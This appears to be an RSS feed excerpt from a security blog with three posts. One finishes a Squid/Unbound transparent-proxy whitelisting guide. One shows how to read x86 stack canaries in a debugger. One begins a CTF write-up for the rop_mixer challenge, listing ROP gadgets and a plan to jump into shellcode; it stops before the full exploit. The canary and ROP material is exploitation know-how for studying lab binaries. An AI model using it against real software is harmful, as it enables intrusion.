&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

firejail --private --net=br-squid -- curl http://google.com -o /dev/null
curl: (6) Couldn&#39;t resolve host &#39;google.com&#39;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We’ll ignore DNS by allowing all DNS requests and forward them to Google
DNS with iptables. Later we will use a local DNS server to do whitelisting.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;iptables -t nat -A POSTROUTING -s 192.168.50.0/24 -p udp -d 8.8.8.8 \
  --dport 53 -o eno1 -j MASQUERADE
iptables -I FORWARD -i eno1 -o br-squid -m state \
  --state RELATED,ESTABLISHED -j ACCEPT

firejail --private --net=br-squid --dns=8.8.8.8 -- \
  curl --connect-timeout 10 http://google.com -o /dev/null
% Total    % Received % Xferd  Average Speed   Time    Time     Time Current
                               Dload  Upload   Total   Spent    Left Speed
0     0    0     0    0     0      0      0 --:--:--  0:00:10 --:--:--     0
curl: (28) Connection timed out after 10000 milliseconds
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id=&quot;squid-http-intercept&quot;&gt;Squid http intercept&lt;/h1&gt;
&lt;p&gt;Squid supports transparent proxying under the name of “intercept”.&lt;/p&gt;

&lt;p&gt;Here is a minimal squid.conf file:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;acl http_whitelist dstdomain .google.com
acl http_whitelist dstdomain .google.co.uk

http_access allow http_whitelist
acl client_src src 192.168.50.0/24
http_access allow client_src
http_access deny all

http_port 192.168.50.1:3128 intercept
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;intercept&lt;/code&gt; keyword on &lt;code class=&quot;highlighter-rouge&quot;&gt;http_port&lt;/code&gt; is important to enable Squid to
handle http requests redirected by iptables from a client oblivious to the
presence of the proxy. In this configuration we allow 2 Google related
domains and block everything else. Note that it is also important to
whitelist the source address that our requests are originating from (the
address of our network bridge).&lt;/p&gt;

&lt;p&gt;Firewall rule for doing the redirect looks like this&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;iptables -t nat -A PREROUTING -i br-squid -p tcp --dport 80 -j DNAT --to \
  192.168.50.1:3128
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Start squid like this&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;squid -f ./squid.conf -N -d1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Where &lt;code class=&quot;highlighter-rouge&quot;&gt;-f&lt;/code&gt; is the path to local config file, &lt;code class=&quot;highlighter-rouge&quot;&gt;-N&lt;/code&gt; is no daemonize and &lt;code class=&quot;highlighter-rouge&quot;&gt;-d1&lt;/code&gt; is
setting the debug level.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;firejail --private --net=br-squid --dns=8.8.8.8 -- \
   curl --connect-timeout 10 http://google.com -o /dev/null
% Total    % Received % Xferd  Average Speed   Time    Time     Time
Current
                                 Dload  Upload   Total   Spent    Left
Speed
100   271  100   271    0     0    271      0  0:00:01 --:--:--  0:00:01
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id=&quot;squid-https-intercept&quot;&gt;Squid https intercept&lt;/h1&gt;
&lt;p&gt;SSL is more tricky because the hostname the client is trying to connect to is not readily available like in plain http. Squid needs to start an SSL session with the server and parse the hostname from the returned certificate or parse the hostname from the SNI extension from the client. Squid calls this hostname identification step &lt;code class=&quot;highlighter-rouge&quot;&gt;peek&lt;/code&gt;. After that, if the hostname matches our whitelist we want to do what Squid calls &lt;code class=&quot;highlighter-rouge&quot;&gt;splice&lt;/code&gt; the connection, which is the blindly forward encrypted packets as if the proxy was not there. For all other hostnames we want to &lt;code class=&quot;highlighter-rouge&quot;&gt;terminate&lt;/code&gt; the connection. Squid also has a mitm mode called &lt;code class=&quot;highlighter-rouge&quot;&gt;bump&lt;/code&gt; but that’s outside the scope of this post.&lt;/p&gt;

&lt;p&gt;Here are additional ssl specific lines to add to our &lt;code class=&quot;highlighter-rouge&quot;&gt;squid.conf&lt;/code&gt; file. Note that we need a special port for ssl intercept (&lt;code class=&quot;highlighter-rouge&quot;&gt;https_port&lt;/code&gt;) and the acl keywords are different (&lt;code class=&quot;highlighter-rouge&quot;&gt;ssl::server_name&lt;/code&gt;).&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;https_port 192.168.50.1:3129 intercept ssl-bump cert=./myCA.pem

acl https_whitelist ssl::server_name .google.com
acl https_whitelist ssl::server_name .google.co.uk

ssl_bump splice https_whitelist
ssl_bump peek all
ssl_bump terminate all
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Note also that the order of the commands &lt;code class=&quot;highlighter-rouge&quot;&gt;splice&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;peek&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;terminate&lt;/code&gt; is important because &lt;code class=&quot;highlighter-rouge&quot;&gt;intercept&lt;/code&gt; is a multi stage process and Squid will match the first appropriate command and ignore the rest for each stage. In our case we want to &lt;code class=&quot;highlighter-rouge&quot;&gt;splice&lt;/code&gt; any connection that Squid can determine is allowed by our whitelist acl. If Squid cannot make this decision yet then the next command to try is &lt;code class=&quot;highlighter-rouge&quot;&gt;peek&lt;/code&gt; to gather the necessary information. If &lt;code class=&quot;highlighter-rouge&quot;&gt;peek&lt;/code&gt;ing is done and the connection is not &lt;code class=&quot;highlighter-rouge&quot;&gt;splice&lt;/code&gt;d because of the acl then the only option left is &lt;code class=&quot;highlighter-rouge&quot;&gt;terminate&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Even though we are not doing mitm, Squid won’t start ssl intercept without a self signed certificate, this is how we can make one.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;openssl req -new -newkey rsa:2048 -sha256 -days 365 -nodes -x509 \
      -extensions v3_ca -keyout myCA.pem  -out myCA.pem
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Redirect port 443 traffic to Squid like this&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;iptables -t nat -A PREROUTING -i br-squid -p tcp --dport 443 -j DNAT --to \
  192.168.50.1:3129
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;For testing we can see that https://google.com (whitelisted) works and https://bing.com (not whitelisted) fails.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;firejail --private --net=br-squid --dns=8.8.8.8 -- \
  curl --connect-timeout 10 https://google.com -o /dev/null
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                               Dload  Upload   Total   Spent    Left  Speed
100   222  100   222    0     0    905      0 --:--:-- --:--:-- --:--:--   902

firejail --private --net=br-squid --dns=8.8.8.8 -- \
  curl --connect-timeout 10 https://bing.com -o /dev/null
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
curl: (35) Unknown SSL protocol error in connection to bing.com:443
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;You may encounter failures on whitelisted domains with lines like the following in Squid log&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;SECURITY ALERT: Host header forgery detected on local=216.58.198.110:443 remote=192.168.50.41:40534 FD 13 flags=33 (local IP does not match any domain IP)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This happens because the client does a DNS lookup and Squid also does an independent DNS lookup. Different DNS servers, may return different addresses on different queries. The same DNS system like 8.8.8.8 may also return different addresses on different queries only because of load balancing. We can fix this problem by redirecting the client and Squid through the same local caching DNS server which is our next topic.&lt;/p&gt;

&lt;h1 id=&quot;dns&quot;&gt;DNS&lt;/h1&gt;
&lt;p&gt;We can use the DNS server Unbound to do DNS based whitelisting and fix our SSL errors above.&lt;/p&gt;

&lt;p&gt;A minimal Unbound config looks like this:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;server:
  interface: 192.168.50.1
  access-control: 192.168.50.1/24 allow
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Even though we bind to a non-localhost address, Unbound will reject requests from non-localhost clients by default.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;debug: refused query from ip4 192.168.50.67 port 50214
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So that’s why we need the access control line.&lt;/p&gt;

&lt;p&gt;Remove the old DNS firewall rule with &lt;code class=&quot;highlighter-rouge&quot;&gt;iptables -D&lt;/code&gt; and add a new one redirecting all DNS requests on our target interface to Unbound.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;iptables -t nat -D POSTROUTING -s 192.168.50.0/24 -d 8.8.8.8/32 -o eno1 -p udp -m udp \
  --dport 53 -j MASQUERADE
iptables -t nat -A PREROUTING -i br-squid -p udp --dport 53 -j DNAT --to \
  192.168.50.1:53
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Change the &lt;code class=&quot;highlighter-rouge&quot;&gt;dns_namesevers&lt;/code&gt; line in &lt;code class=&quot;highlighter-rouge&quot;&gt;squid.conf&lt;/code&gt; to use Unbound to avoid host header forgery errors discussed above&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;dns_nameservers 192.168.50.1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Run unbound and check it works&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;unbound -d -c ./unbound.conf

firejail --private --net=br-squid -- \
  curl --connect-timeout 10 https://bing.com -o /dev/null
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                               Dload  Upload   Total   Spent    Left  Speed
0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
curl: (35) Unknown SSL protocol error in connection to bing.com:443

firejail --private --net=br-squid -- \
  curl --connect-timeout 10 https://google.com -o /dev/null
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   272  100   272    0     0    479      0 --:--:-- --:--:-- --:--:--   479
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;By default Unbound serves all DNS requests because that’s what most people want in a DNS server. To make Unbound behave like a whitelist, we &lt;code class=&quot;highlighter-rouge&quot;&gt;refuse&lt;/code&gt; lookups for all domains and then set our whitelisted ones to &lt;code class=&quot;highlighter-rouge&quot;&gt;transparent&lt;/code&gt;. The order of the lines does not matter, Unbound will match the most specific line (so &lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;google.com&quot; transparent&lt;/code&gt; will win over &lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;.&quot; refuse&lt;/code&gt;).&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;local-zone: &quot;.&quot; refuse
local-zone: &quot;google.com&quot; transparent
local-zone: &quot;google.co.uk&quot; transparent
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;When we test we can see the DNS lookup for our non-whitelisted domain bing.com is instantly rejected.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;firejail --private --net=br-squid -- \
  curl --connect-timeout 10 https://bing.com -o /dev/null
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
curl: (6) Could not resolve host: bing.com

firejail --private --net=br-squid -- \
  curl --connect-timeout 10 https://google.com -o /dev/null
% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   272  100   272    0     0   1066      0 --:--:-- --:--:-- --:--:--  1062
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Maintaining a different whitelist for Squid and Unbound may seem excessive and cumbersome. The value of Squid whitelisting is to ensure clients cannot connect directly to IP addresses and avoid the Unbound whitelist. The value of the Unbound whitelist is to ensure clients cannot tunnel their traffic through unrestricted DNS lookups and avoid the Squid whitelist.&lt;/p&gt;

&lt;p&gt;If your threat model does not merit having 2 whitelists then DNS tunnelling is less likely than clients attempted to connect to hardcoded IP addresses so the Squid whitelist is more valuable.&lt;/p&gt;
</description>
        <pubDate>Fri, 02 Mar 2018 19:36:20 +0000</pubDate>
        <link>http://klamp.works/2018/03/02/transparent-proxy-linux-squid-unbound.html</link>
        <guid isPermaLink="true">http://klamp.works/2018/03/02/transparent-proxy-linux-squid-unbound.html</guid>
        
        
      </item>
    
      <item>
        <title>Debugging Stack Canaries on x86 Linux</title>
        <description>&lt;p&gt;On x86 Linux, stack canaries are kept in thread local storage and accessed through the &lt;code class=&quot;highlighter-rouge&quot;&gt;gs&lt;/code&gt; segment register (e.g. &lt;code class=&quot;highlighter-rouge&quot;&gt;gs:0x14&lt;/code&gt;). If you have ever found yourself in a debugging session and wondering how to print out that value then this is the post for you.&lt;/p&gt;

&lt;p&gt;Thread local storage is initialized by the &lt;code class=&quot;highlighter-rouge&quot;&gt;set_thread_area(2)&lt;/code&gt; systemcall which takes a &lt;code class=&quot;highlighter-rouge&quot;&gt;user_desc&lt;/code&gt; struct as its only argument.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;struct user_desc {
    unsigned int  entry_number;
    unsigned long base_addr;
    unsigned int  limit;
    unsigned int  seg_32bit:1;
    unsigned int  contents:2;
    unsigned int  read_exec_only:1;
    unsigned int  limit_in_pages:1;
    unsigned int  seg_not_present:1;
    unsigned int  useable:1;
};
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The second field, &lt;code class=&quot;highlighter-rouge&quot;&gt;base_addr&lt;/code&gt; is the address of a data structure which will hold our stack canary (among other things).&lt;/p&gt;

&lt;p&gt;One way to find the canary value is to catch the &lt;code class=&quot;highlighter-rouge&quot;&gt;set_thread_area&lt;/code&gt; syscall and save the &lt;code class=&quot;highlighter-rouge&quot;&gt;base_addr&lt;/code&gt;. After that, &lt;code class=&quot;highlighter-rouge&quot;&gt;base_addr + 0x14&lt;/code&gt; will be where the canary is.&lt;/p&gt;

&lt;p&gt;Here is an exmple program:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

void a()
{
  printf(&quot;Hello, world!\n&quot;);
}

int main()
{
  a();
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We can compile it with &lt;code class=&quot;highlighter-rouge&quot;&gt;-fstack-protector-all&lt;/code&gt; to ensure that every function contains a canary, even our trivially safe &lt;code class=&quot;highlighter-rouge&quot;&gt;a()&lt;/code&gt; function. And &lt;code class=&quot;highlighter-rouge&quot;&gt;-m32&lt;/code&gt; to ensure it is 32 bit.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;†  gcc -m32 -fstack-protector-all canary-test.c
†  r2 -d a.out
[0xf77bf990]&amp;gt; dcs set_thread_area
child stopped with signal 133
--&amp;gt; SN 0xf77bf8fd syscall 243 set_thread_area (0xffffffda 0xffa20d90)
[0xf77bf8fd]&amp;gt;
[0xf77bf8fd]&amp;gt; pd -18
       ,==&amp;lt; 0xf77bf8b4      7f00           jg 0xf77bf8b6
       `--&amp;gt; 0xf77bf8b6      0000           add byte [eax], al
        |   0xf77bf8b8      e83e860100     call 0xf77d7efb
        |   0xf77bf8bd      83c410         add esp, 0x10
        `=&amp;lt; 0xf77bf8c0      ebe5           jmp 0xf77bf8a7
            0xf77bf8c2      8b4004         mov eax, dword [eax + 4]    ; [0x4:4]=-1 ; 4
            0xf77bf8c5      89e3           mov ebx, esp
            0xf77bf8c7      898660080000   mov dword [esi + 0x860], eax
            0xf77bf8cd      8912           mov dword [edx], edx
            0xf77bf8cf      895208         mov dword [edx + 8], edx
            0xf77bf8d2      8b86e8feffff   mov eax, dword [esi - 0x118]
            0xf77bf8d8      c70424ffffff.  mov dword [esp], 0xffffffff
            0xf77bf8df      894210         mov dword [edx + 0x10], eax
            0xf77bf8e2      89542404       mov dword [esp + 4], edx
            0xf77bf8e6      b8f3000000     mov eax, 0xf3
            0xf77bf8eb      c7442408ffff.  mov dword [esp + 8], 0xfffff
            0xf77bf8f3      c744240c5100.  mov dword [esp + 0xc], 0x51
            0xf77bf8fb      cd80           int 0x80

0xf77bf8fb      cd80           int 0x80 This is the syscall invokation.

0xf77bf8e6      b8f3000000     mov eax, 0xf3 This is the syscall number, 0xf3 (243) which is set_thread_area (check `/usr/include/asm/unistd_32.h`).

0xf77bf8c5      89e3           mov ebx, esp This is the user desc struct, it is stored on the stack.

0xf77bf8e2      89542404       mov dword [esp + 4], edx This is where the base_addr field is set (user_desc+4).
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So printing out &lt;code class=&quot;highlighter-rouge&quot;&gt;edx&lt;/code&gt; should give us the base_addr we want.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;[0xf77bf8fd]&amp;gt; dr edx
0xf75f5700
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So &lt;code class=&quot;highlighter-rouge&quot;&gt;user_addr&lt;/code&gt; is &lt;code class=&quot;highlighter-rouge&quot;&gt;0xf75f5700&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Next we break on a function (in this case &lt;code class=&quot;highlighter-rouge&quot;&gt;a()&lt;/code&gt;), and single step until the cookie is in a register we can print out (&lt;code class=&quot;highlighter-rouge&quot;&gt;eax&lt;/code&gt;).&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;[0xf77bf8fd]&amp;gt; db sym.a
[0xf77bf8fd]&amp;gt; c
Selecting and continuing: 3685
hit breakpoint at: 804843b
[0x0804843b]&amp;gt; ds ; pd 1 @ `dr eip`
|           0x0804843b b    55             push ebp
[0x0804843b]&amp;gt; ds ; pd 1 @ `dr eip`
|           0x0804843c      89e5           mov ebp, esp
[0x0804843b]&amp;gt; ds ; pd 1 @ `dr eip`
|           0x0804843e      83ec18         sub esp, 0x18
[0x0804843b]&amp;gt; ds ; pd 1 @ `dr eip`
|           0x08048441      65a114000000   mov eax, dword gs:[0x14]    ; [0x14:4]=-1 ; 20
[0x0804843b]&amp;gt; ds ; pd 1 @ `dr eip`
|           0x08048447      8945f4         mov dword [local_ch], eax
[0x0804843b]&amp;gt; dr eax
0xffa9c800
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If we add &lt;code class=&quot;highlighter-rouge&quot;&gt;0x14&lt;/code&gt; to the &lt;code class=&quot;highlighter-rouge&quot;&gt;base_addr&lt;/code&gt; we noted earlier do we get the same cookie?&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;[0x0804843b]&amp;gt; pv4 @ 0xf75f5700 + 0x14
0xffa9c800
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Yes.&lt;/p&gt;

&lt;p&gt;The same process can be done with gdb&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;(gdb) catch syscall set_thread_area
Catchpoint 1 (syscall &#39;set_thread_area&#39; [243])
(gdb) r
Starting program: a.out

Catchpoint 1 (call to syscall set_thread_area), 0xf7fda8fd in ?? ()
...
(gdb) disassemble 0xf7fda8c5,0xf7fda8fd
Dump of assembler code from 0xf7fda8c5 to 0xf7fda8fd:
   0xf7fda8c5:  mov    %esp,%ebx
   0xf7fda8c7:  mov    %eax,0x860(%esi)
   0xf7fda8cd:  mov    %edx,(%edx)
   0xf7fda8cf:  mov    %edx,0x8(%edx)
   0xf7fda8d2:  mov    -0x118(%esi),%eax
   0xf7fda8d8:  movl   $0xffffffff,(%esp)
   0xf7fda8df:  mov    %eax,0x10(%edx)
   0xf7fda8e2:  mov    %edx,0x4(%esp)
   0xf7fda8e6:  mov    $0xf3,%eax
   0xf7fda8eb:  movl   $0xfffff,0x8(%esp)
   0xf7fda8f3:  movl   $0x51,0xc(%esp)
   0xf7fda8fb:  int    $0x80
(gdb) p/x $edx
$1 = 0xf7fd5440
(gdb) b a
Breakpoint 2 at 0x8048441
(gdb) c
Continuing.

Breakpoint 2, 0x08048441 in a ()
(gdb) disassemble
Dump of assembler code for function a:
   0x0804843b &amp;lt;+0&amp;gt;:     push   %ebp
   0x0804843c &amp;lt;+1&amp;gt;:     mov    %esp,%ebp
   0x0804843e &amp;lt;+3&amp;gt;:     sub    $0x18,%esp
=&amp;gt; 0x08048441 &amp;lt;+6&amp;gt;:     mov    %gs:0x14,%eax
   0x08048447 &amp;lt;+12&amp;gt;:    mov    %eax,-0xc(%ebp)
   0x0804844a &amp;lt;+15&amp;gt;:    xor    %eax,%eax
   0x0804844c &amp;lt;+17&amp;gt;:    sub    $0xc,%esp
   0x0804844f &amp;lt;+20&amp;gt;:    push   $0x8048530
   0x08048454 &amp;lt;+25&amp;gt;:    call   0x8048310 &amp;lt;puts@plt&amp;gt;
   0x08048459 &amp;lt;+30&amp;gt;:    add    $0x10,%esp
   0x0804845c &amp;lt;+33&amp;gt;:    nop
   0x0804845d &amp;lt;+34&amp;gt;:    mov    -0xc(%ebp),%eax
   0x08048460 &amp;lt;+37&amp;gt;:    xor    %gs:0x14,%eax
   0x08048467 &amp;lt;+44&amp;gt;:    je     0x804846e &amp;lt;a+51&amp;gt;
   0x08048469 &amp;lt;+46&amp;gt;:    call   0x8048300 &amp;lt;__stack_chk_fail@plt&amp;gt;
   0x0804846e &amp;lt;+51&amp;gt;:    leave
   0x0804846f &amp;lt;+52&amp;gt;:    ret
End of assembler dump.
(gdb) si
0x08048447 in a ()
(gdb) p/x $eax
$2 = 0x9b291e00
(gdb) p/x *(0xf7fd5440 + 0x14)
$4 = 0x9b291e00
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

</description>
        <pubDate>Fri, 02 Feb 2018 19:36:20 +0000</pubDate>
        <link>http://klamp.works/2018/02/02/debugging-stack-canary-x86.html</link>
        <guid isPermaLink="true">http://klamp.works/2018/02/02/debugging-stack-canary-x86.html</guid>
        
        
      </item>
    
      <item>
        <title>Trail of Bits CTF 5/5 Rop Mixer</title>
        <description>&lt;p&gt;Trail of Bits released a number of &lt;a href=&quot;https://github.com/trailofbits/ctf&quot;&gt;CTF challeleges on Github&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This post is about the &lt;code class=&quot;highlighter-rouge&quot;&gt;rop_mixer&lt;/code&gt; binary exploitation challenge.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;rop_mixer&lt;/code&gt; challenge is found in the &lt;code class=&quot;highlighter-rouge&quot;&gt;ctf/exploits/binary2_workshop/rop_mixer/&lt;/code&gt; directory. It contains only a single binary (&lt;code class=&quot;highlighter-rouge&quot;&gt;rop_mixer&lt;/code&gt;), a shell script to make it available over the network with socat and no source code.&lt;/p&gt;

&lt;p&gt;This one is different from the other challenges in that it is not a vulnerable application; it doesn’t have any supposed purpose besides being exploited.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;|           0x0804884c      b83ca00408     mov eax, loc.NASM_BEGIN
...
|           0x0804886f      c74424080010.  mov dword [local_8h], 0x1000
...
|           0x0804887b      89442404       mov dword [local_4h], eax
|           0x0804887f      c70424000000.  mov dword [esp], 0
|           0x08048886      e8e5fbffff     call sym.imp.read
|           0x0804888b      8d44242c       lea eax, [local_2ch]
|           0x0804888f      89c4           mov esp, eax
\           0x08048891      c3             ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Up to 0x1000 bytes are read from stdin into a buffer and then this buffer is swapped with esp. So this new buffer is effectively our new stack and we can feed our rop chain into it directly without fiddling with buffer overflows and offsets. It appears that the rest of the code only exists to provide rop gadgets. I’m not sure if the gadgets are enough to get a shell, I spent some time trying but couldn’t figure it out. Fortunately, this buffer holding our rop chain is also executable.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;[0x08048530]&amp;gt; is | grep NASM_BEGIN
vaddr=0x0804a03c paddr=0x0000103c ord=121 fwd=NONE sz=0 bind=GLOBAL type=NOTYPE name=NASM_BEGIN
[0x08048530]&amp;gt; iS | grep 0x0804a03c
idx=25 vaddr=0x0804a03c paddr=0x0000103c sz=784 vsz=784 perm=--rwx name=.ROP_MIX
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So the strategy I went with is using the rop chain to redirect execution to the rwx buffer.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;vg&quot;&gt;$gadget_call_eax&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;addr_to_str&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x080485df&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#0x080485df               ffd0  call eax&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;However, if we do that, esp and eip will be pointing to the same address and bad things will happen, the return address from this gadget (0x080485e1) will be executed as code (e185 &lt;code class=&quot;highlighter-rouge&quot;&gt;loope 0xfff36d93&lt;/code&gt;,  0408 &lt;code class=&quot;highlighter-rouge&quot;&gt;add al, 8&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;So the first thing to do is move the stack pointer a little bit further into the buffer and put the &lt;code class=&quot;highlighter-rouge&quot;&gt;call eax&lt;/code&gt; gadget there.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;vg&quot;&gt;$gadget_add_esp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;addr_to_str&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x0804890c&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#0x08048909             83c41c  add esp, 0x1c&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#0x0804890c                 5b  pop ebx&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#0x0804890d                 5e  pop esi&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#0x0804890e                 5f  pop edi&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#0x0804890f                 5d  pop ebp&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#0x08048910                 c3  ret&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Unfortunately 0x1c bytes does not seem to be enough space for my shellcode, so lets add code to &lt;code class=&quot;highlighter-rouge&quot;&gt;jmp&lt;/code&gt; over the gadget address (which is clobbered by the return address from &lt;code class=&quot;highlighter-rouge&quot;&gt;call eax&lt;/code&gt; at this point) and fill the gap with &lt;code class=&quot;highlighter-rouge&quot;&gt;nop&lt;/code&gt;s. So far the exploit string looks like this:&lt;/p&gt;

